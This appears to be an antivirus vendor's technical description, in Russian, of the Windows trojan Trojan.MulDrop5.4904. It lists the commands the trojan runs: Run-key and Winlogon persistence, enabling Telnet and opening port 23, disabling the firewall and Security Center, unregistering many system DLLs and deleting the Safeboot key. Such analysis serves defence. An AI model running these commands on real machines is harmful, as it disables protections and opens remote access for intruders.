Trojan.MulDrop5.4904

Техническая информация

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'AntiVirusUpdate' = '<SYSTEM32>\wx9712.exe'

Создает следующие сервисы:

[<HKLM>\SYSTEM\ControlSet001\Services\TlntSvr] 'Start' = '00000002'

Вредоносные функции:

Создает и запускает на исполнение:

'<LS_APPDATA>\avupdater.dat' setconfig Telnet auto
'<LS_APPDATA>\avupdater.dat' start Telnet
'<LS_APPDATA>\defin.dat' %USERNAME% lklklk
'<LS_APPDATA>\avupdater.dat' setconfig SharedAccess disabled
'<LS_APPDATA>\avupdater.dat' stop wscsvc
'<LS_APPDATA>\avupdater.dat' setconfig wscsvc disabled
'<LS_APPDATA>\avupdater.dat' stop SharedAccess

Запускает на исполнение:

'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\mscorier.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\mscories.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\mscoree.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\mscms.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\msconf.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\MSCTFIME.IME
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\MSCTFP.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\MSCTF.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\mscpx32r.dLL
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\mscpxl32.dLL
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\mscdexnt.exe
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\wmstream.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\wmv8ds32.ax
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\wmspdmoe.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\wmsdmoe2.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\wmspdmod.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\wmvds32.ax
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\mscat32.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\wmvdmoe2.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\wmvcore.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\wmvdmod.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\perfos.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\perfproc.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\perfnw.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\perfmon.msc
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\perfnet.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\perfwci.ini
'<SYSTEM32>\attrib.exe' "<SYSTEM32>\rrestart.cmd" +R +S +H
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\perfwci.h
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\PerfStringBackup.INI
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\perfts.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\perfmon.exe
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\perfctrs.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\perfd009.dat
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\perfci.ini
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\perfc009.dat
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\perfci.h
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\perfh009.dat
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\perfi009.dat
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\perffilt.ini
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\perfdisk.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\perffilt.h
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\wmsdmoe.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\mmc.exe
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\mmcbase.dll
'<SYSTEM32>\tlntadmn.exe' config port = 23
'<SYSTEM32>\tlntsvr.exe'
'<SYSTEM32>\regsvr32.exe' /s <SYSTEM32>\tlntsvrp.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\wmadmoe.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\wmasf.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\wmadmod.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\mmcndmgr.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\mmcshext.dll
'<SYSTEM32>\reg.exe' DELETE HKLM\SYSTEM\CurrentControlSet\Control\Safeboot\ /f
'<SYSTEM32>\reg.exe' ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\run\ /v AntiVirusUpdate /t REG_SZ /d "<SYSTEM32>\wx9712.exe" /f
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\winlogon\" /v Userinit /t REG_SZ /d "<SYSTEM32>\userinit.exe,<SYSTEM32>\wx9712.exe" /f
'<SYSTEM32>\attrib.exe' "<SYSTEM32>\dllcache\wscmngrx.dll" +R +S +H
'<SYSTEM32>\attrib.exe' "<SYSTEM32>\wx9712.exe" +R +S +H
'<SYSTEM32>\attrib.exe' "<SYSTEM32>\wscmngrx.dll" +R +S +H
'<SYSTEM32>\reg.exe' ADD HKCU\Software\Sysinternals\Psservice /v EulaAccepted /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' ADD HKCU\Software\Sysinternals\Pspasswd /v EulaAccepted /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' ADD HKCU\Software\Sysinternals\Pssuspend /v EulaAccepted /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' ADD "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List" /v "23:TCP" /t REG_SZ /d "23:TCP:*:Enabled:23" /f
'<SYSTEM32>\reg.exe' ADD HKCU\Software\Sysinternals\Pskill /v EulaAccepted /t REG_DWORD /d 1 /f
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\wmpcore.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\wmpdxm.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\wmpcd.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\wmp.ocx
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\wmpasf.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\wmpui.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\wmsdmod.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\wmpshell.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\WMPhoto.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\wmploc.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\wmp.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\wmerror.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\wmi.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\wmerrenu.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\wmdmlog.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\wmdmps.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\wmiscmgr.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\wmnetmgr.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\wmiprop.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\wmidx.dll
'<SYSTEM32>\regsvr32.exe' /u /s <SYSTEM32>\wmimgmt.msc